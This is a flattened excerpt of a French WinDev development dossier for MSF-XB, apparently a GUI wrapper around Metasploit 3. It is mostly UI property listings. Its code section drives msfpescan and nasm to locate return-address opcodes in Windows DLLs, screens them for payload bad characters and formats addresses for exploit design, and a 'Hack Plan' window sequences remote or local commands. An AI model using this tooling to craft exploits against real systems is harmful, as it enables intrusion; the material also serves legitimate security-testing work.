Ordre navigation 27Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 13Retrait gauche 2Position X interne 522Largeur interne 104

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Page 369: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 373

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : SAI_RESULT

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 22Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 8Retrait gauche 2Position X interne 63Largeur interne 563

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical AutomatiqueAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Page 370: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 374

Gestion Euro Non

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : SAI_Valeur

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &ValeurGB: &Value

Ordre navigation 21Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 7Retrait gauche 2Position X interne 249Largeur interne 29

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤999Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus Oui

Page 371: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 375

Historique des saisies OuiValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 30

Altitude 2Largeur externe 128Hauteur externe 18

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 372: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 376

Superchamp : SC_SelecteurFichier

Note pour le dossier

FR,GB: FR: Ce superchamp est un sélecteur de fichiers : il permet de sélectionner un fichier et d'afficher son chemin complet dans un champ de saisie.

La fonction utilisée pour la sélection est fSélecteur(). La valeur renvoyée par le superchamp est le chemin du fichier sélectionné.

GB: This supercontrol is a file picker. It is used to select a file and to display its full path in an edit control. fSelect() is used to select the file. The value returned by the supercontrol is the path of the selected file.

Ordre navigation 1

Altitude 4Largeur externe 603Hauteur externe 25

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Table : TABLE_DLLs

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: TableGB:

Ordre navigation 23Curseur survol 0

Hauteur ligne max. 0Hauteur ligne 18

Page 373: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 377

Sens VerticalAltitude 9Retrait gauche 2

Numéro aide 0

Opacité 100Hauteur des lignes redimensionnable Non

Déplacement au pixel OuiAsc. horizontal AutomatiqueAsc. vertical OuiMode de sélection Sélection simpleAff. résultats Sans affichageSomme FR: Somme

GB: SumMoyenne FR: Moyenne

GB: AverageCompteur FR: Compteur

GB: CounterTitre multiligne OuiMenu ctx. colonne OuiMode menu ctx. <Aucun>

Nb. Enreg. Max 0Fichier parcouru 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 374: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 378

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: FermerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 375: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 379

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 376: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 380

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 377: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 381

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 378: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 382

Superchamp : SC_SelecteurFichierBouton : SC_SelecteurFichier.BTN_SEL

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 19Curseur survol 0On/Off Non

Altitude 2

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Parcours.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_MiniLeft.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 379: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 383

Champ de saisie : SC_SelecteurFichier.SAI_FIC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Fichier :GB: File:

Ordre navigation 20Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 1Retrait gauche 2Position X interne 63Largeur interne 534

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 260Masque saisie FR,GB: 10Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur

Page 380: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 384

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Table : TABLE_DLLsColonne de table : TABLE_DLLs.COL_DLL (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: DLLCurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

FEN_msfpescan Messages multilangues

Page 381: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 385

N° Message

2000 FR: Sélectionnez un fichier...GB: Select a file...

2001 FR: Tous fichiers (*.*)GB: All Files (*.*)

2002 FR: Code hexa=GB: hex code=

2003 FR: Continuer?GB: Continue?

2004 FR: Vous devez choisir une adresse de retourGB: You must choose a return address

N° mess.: numéro de message.

Page 382: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 386

FEN_msfpescan Code

Déclarations globales de FEN_msfpescanPROCEDURE FEN_msfpescan(gCheminDLL, sListeDLLs)

SI sListeDLLs<>"" ALORSTABLE_DLLs..Visible=VrainMonCpt is int=1TANTQUE ExtraitChaîne(sListeDLLs, nmoncpt)<>""

TableAjouteLigne(TABLE_DLLs, ExtraitChaîne(sListeDLLs, nMonCpt))nMonCpt++

FINSINON

SC_SelecteurFichier..Visible=VraiSC_SelecteurFichier.SAI_FIC=gCheminDLL

FIN

Page 383: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 387

FEN_msfpescan Code des champs

Clic sur BTN_Bouton1//msfpescan -f C:\WINDOWS\system32\userenv.dll -r "\xFF\x53\x04"//Info(NumériqueVersChaîne("ÿä", "x"))//info(val("ÿ"))//info(EntierVersHexa(caract("ÿ")+caract("ä")))//retour

Message("PEscanning...")

sMaCommande is stringsMonCodeHEXA is stringCheminMSFpescan is stringSI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le path

CheminMSFpescan=ComplèteRep(gsCheminMSF3) + "home\framework\msfpescan"SINON

CheminMSFpescan=ComplèteRep(gsCheminMSF3) + "framework\msfpescan"FIN

SAI_RESULT=""sCheminTemporaire is string=ComplèteRep(fRepEnCours()) + "TEMP\"//On cherche la valeur hexadécimale de l'opcodeHLitRecherche(ASM_CODES,CODE_ASM,COMBO_Opcode..ValeurAffichée)SI PAS HTrouve ALORS

//Valeur saisie dans la combo//=> on recherche la valeur hexa de l'opcode avec nasm

//On doit écrire le code ASM dans un fichier (nasm.txt)fSauveTexte(sCheminTemporaire+"nasm.txt", "BITS 32"+RC+COMBO_Opcode..ValeurAffichée)

// nasm.exe -f bin -o nasm.out nasm.txtsMaCommande= Caract(34)+ComplèteRep(gsCheminMSF3)+"bin\nasm.exe"+Caract(34)sMaCommande+= " -f bin -o "+Caract(34)+sCheminTemporaire+"nasm.out"+Caract(34)+" "+Caract(34)+sCheminTemporaire+"nasm.txt"+Caract(34)

// SI EnModeTest() ALORS VersPressePapier(sMaCommande)// ddelance(sMaCommande)

MyDos:CommandLine_Let(sMaCommande)MyDos:ExecuteCommand()

Page 384: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 388

// On lit le fichier résultat et on le convertit: byte2hexsMaCommande= "byte2hex.exe -o "+Caract(34)+sCheminTemporaire+"nasm2.txt"+Caract(34)+" "+Caract(34)+sCheminTemporaire+"nasm.out"+Caract(34)

// SI EnModeTest() ALORS VersPressePapier(sMaCommande)// DDELance(sMaCommande)

MyDos:CommandLine_Let(sMaCommande)MyDos:ExecuteCommand()

sMonCodeHEXA=fChargeTexte(sCheminTemporaire+"nasm2.txt")

//Pour le Design de l'exploit: !!!Ici on est pas sur du résultatSI FenEtat(MSFXB_Assistant)<>Inexistant ALORS MSFXB_Assistant.COMBO_RetType..Valeur= COMBO_Opcode..ValeurAffichée

SINONsMonCodeHEXA= ASM_CODES.CODE_HEXA//Pour le Design de l'exploit:SI FenEtat(MSFXB_Assistant)<>Inexistant ALORS MSFXB_Assistant.COMBO_RetType..Valeur= COMBO_Opcode..ValeurAffichée

FIN

//si enmodetest() alors// si pas ouinon("Code hexa="+sMonCodeHEXA+rc+"Continuer?") alors// SAI_RESULT=sMonCodeHEXA// retour// FIN//FIN

//MSF3:SI TABLE_DLLs..Vide ALORS //1 seule DLL

//sMaCommande= caract(34)+ComplèteRep(gsCheminMSF3)+"bin\ruby.exe"+caract(34)+" "+caract(34)+CheminMSFpescan+caract(34)+" -f "+caract(34)+SC_SelecteurFichier.SAI_FIC+caract(34)+" -r "+ ASM_CODES.CODE_HEXA +" >" +Caract(34)+ completerep(fRepEnCours)+"pesc

an.txt" +Caract(34)sMaCommande= Caract(34)+ComplèteRep(gsCheminMSF3)+"bin\ruby.exe"+Caract(34) +" "+ Caract(34)+CheminMSFpescan+Caract(34)+" -f "+Caract(34)+SC_SelecteurFichier.SAI_FIC+Caract(34)+" -r "+ sMonCodeHEXA //+">" + caract(34)+completerep(fRepEnCours)+"pescan.txt" +Caract(34)

// si EnModeTest() alors VersPressePapier(sMaCommande)MyDos:CommandLine_Let(sMaCommande) //+" "+Caract(34)+CheminDuDump+Caract(34))SAI_RESULT=MyDos:ExecuteCommand()

SINON //Plusieurs DLLsnCpt is intnNbDLLs is int=TableOccurrence(TABLE_DLLs)POUR nCpt=1 A nNbDLLs

sMaCommande= Caract(34)+ComplèteRep(gsCheminMSF3)+"bin\ruby.exe"+Caract(34) +" "+ Caract(34)+CheminMSFpescan+Caract(34)+" -f "+Caract(34)+TABLE_DLLs[ncpt][1]+Caract(34)+" -r "+ sMonCodeHEXA //+">" + caract(34)+completerep(fRepEnCours)+"pescan.txt" +Caract(34)

MyDos:CommandLine_Let(sMaCommande)

Page 385: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 389

SAI_RESULT+=MyDos:ExecuteCommand()FIN

FIN

SI INT_AVOID_BADCHARS=1 ALORS //Filtrage des badcharsSI PAYLOAD_BADCHARS<>"" ALORS //ex: \x00\x41

fSupprime(sCheminTemporaire+"msfpescan.log")fSauveTexte(sCheminTemporaire+"msfpescan.log", SAI_RESULT)nNuFicTemp is int=fOuvre( sCheminTemporaire+"msfpescan.log", foLecture )SI nNuFicTemp=-1 ALORS

Erreur(ErreurInfo(errMessage))SINON

SAI_RESULT=""nCptTEMP is int=2sBadCharTest is string="xx"sBadCharPresent is stringsMaLigneTemp is string=fLitLigne(nNuFicTemp) //ex: 0x7C809FFBTANTQUE sMaLigneTemp<>EOT

// Recherche de badcharsTANTQUE Taille(sBadCharTest)=2 AND nCptTEMP < Taille(PAYLOAD_BADCHARS)/4

sBadCharTest=ExtraitChaîne(PAYLOAD_BADCHARS, nCptTEMP, "\x")sBadCharTest=Upper(Gauche(sBadCharTest,2))

// si enmodetest() alors info(sBadCharTest)SI Upper(sMaLigneTemp[[3 A 4]])=sBadCharTest OU Upper(sMaLigneTemp[[5 A 6]])=sBadCharTest OU Upper(sMaLigneTemp[[7 A 8]])=sBadCharTest OU Upper(sMaLigneTemp[[9 A 10]])=sBadCharTest ALORS

sBadCharPresent+="\x"+sBadCharTestFINnCptTEMP++

FINnCptTEMP=2

SI sBadCharPresent<>"" ALORSSAI_RESULT+=sMaLigneTemp+TAB+"(! Badchars: "+sBadCharPresent+")"+RCsBadCharPresent=""

SINONSAI_RESULT+=sMaLigneTemp+RC

FIN

sMaLigneTemp=fLitLigne(nNuFicTemp)FIN

FINfFerme(nNuFicTemp)

FINFINMessage("")

Clic sur BTN_Button1

Page 386: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 390

// Open the help page associated witht the current windowWHelp( "Help MSF-XB005.chm", NumHelp(MySelf))

Clic sur BTN_REVERSE_ADsTemp is string=NoSpace(SAI_ADRESSE1)SI Gauche(SAI_ADRESSE1,2)="0x" ALORS stemp=NoSpace(Milieu(SAI_ADRESSE1,3))

SAI_ADRESSE2="\x"+Droite(stemp,2) +"\x"+Milieu(stemp,6,2) +"\x"+Milieu(stemp,4,2) +"\x"+Gauche(stemp,2)

Initialisation de COMBO_OpcodeHLitPremier(ASM_CODES,CODE_ASM)TANTQUE PAS HEnDehors(ASM_CODES)

ListeAjoute(MoiMême,ASM_CODES.CODE_ASM)HLitSuivant(ASM_CODES)

FIN

A chaque modification de COMBO_OpcodeHLitRecherche(ASM_CODES,CODE_ASM,MoiMême..ValeurAffichée)SI ASM_CODES.AttendParametre ALORS

SAI_Valeur..Visible=VraiSINON

SAI_Valeur..Visible=FauxFIN

Initialisation de PAYLOAD_BADCHARSSI FenEtat(MSFXB_Assistant)<>Inexistant ALORS MoiMême=MSFXB_Assistant.PAYLOAD_BADCHARS

Récupération de la propriété ..Valeur de SC_SelecteurFichier

RENVOYER sai_fic

Clic sur BTN_SEL ( SC_SelecteurFichier )

Page 387: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 391

sSel est une chaînesSel = fSélecteur(SAI_FIC, "Sélectionnez un fichier...", "Tous fichiers (*.*)"+TAB+"*.*", "*", fselOuvre+fselExiste)SI ssel<>"" ALORS

SAI_FIC = sselMonParent = SAI_FIC

FIN

Sortie de SAI_FIC ( SC_SelecteurFichier )MonParent = SAI_FIC

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

Page 388: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 392

HACK_PLAN Image

Page 389: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 393

HACK_PLAN Informations générales

HACK_PLAN

Fichier physique G:\Mes Projets\MSF-XB11\HACK_PLAN.wdw

Crée par JEROME

Date de création 03/08/2006 18:57:18

Dernière modification par JA-PSI

Date dernière modification 26/10/2008 20:26:02

Titre FR,GB: Hack Plan

Type fenêtre Fenêtre libre

Mode ouverture Maximisée à l'ouverture

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 808

Hauteur 606

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droitCurseur survol 0

Page 390: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 394

Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant OuiGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 0Anim. Fermeture 0Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIcone G:\Mes Projets\MSF-XB11\Yin Yang.icoImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Page 391: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 395

Statistiques de la fenêtreChamp de saisie 1 Libellé 2

Bouton 9 Image 1

Table 1 Combo 1

Superchamp 1 Option de menu 1

Colonne de table 5

Nombre d'éléments dans la fenêtre : 22

HACK_PLAN Informations sur les champs

Fenêtre : HACK_PLANChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

MACOMMANDE 170 57 321 22 0 Actif Texte

LibelléPosition Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

LIB_Libellé1 26 31 738 20 0 Actif Gauche Haut

RADTitle 9 4 659 18 0 Actif Gauche Centre

Page 392: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 396

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

AJOUTER 499 57 80 24 0 Actif Normal

DESCENDRE 666 57 20 24 0 Actif Normal

INSERER 585 57 20 24 0 Actif Normal

MONTER 640 57 20 24 0 Actif Normal

SUPPRIMER 744 57 20 24 0 Actif Normal

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 722 -19 14 14 0 Actif

TablePosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Utili Bloc Enre Multi Affic Asc. Bull Saisi Gest Mém Colonne Com

TABLE_Table1 26 93 738 477 0 Actif Mémoire 0

ComboPosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Liste Avec Saisi Saisi NUL Bulle Défil

COMBO_EXECUTION 25 57 143 28 0 Actif Mémoire

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCSystemButtons 674 1 128 18 0 Actif

Page 393: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 397

Table : TABLE_Table1Colonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

IDCOMMANDE 100 Actif Droite Centre Numériqu

TORDRE 53 affichag Droite Centre Numériqu

TEXECUTION 88 Actif Gauche Centre Texte

TCOMMANDE 319 Actif Gauche Centre Texte

TPARAMETRE 308 Actif Gauche Centre Texte

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 758 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 708 0 26 19 0 Actif Normal

BTN_Syst_Maximize 734 0 25 19 0 Actif Normal

BTN_UMC 674 0 24 19 0 Actif Normal

Fenêtre : HACK_PLANBouton : AJOUTER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: AjouterGB: Add

Ordre navigation 4Curseur survol 0On/Off Non

Altitude 8

Numéro aide 0

Opacité 100

Page 394: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 398

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Image : BTN_Syst_Restore

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 395: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 399

Combo : COMBO_EXECUTION

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Exécution:GB: Execution:

Contenu initial FR: DISTANTE LOCALE

GB: REMOTE LOCAL

Ordre navigation 3Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 87Larg. déroulée perso. NonHauteur ligne 15Altitude 7Retrait gauche 2Position X interne 81Largeur interne 87

Numéro aide 0

Opacité 100

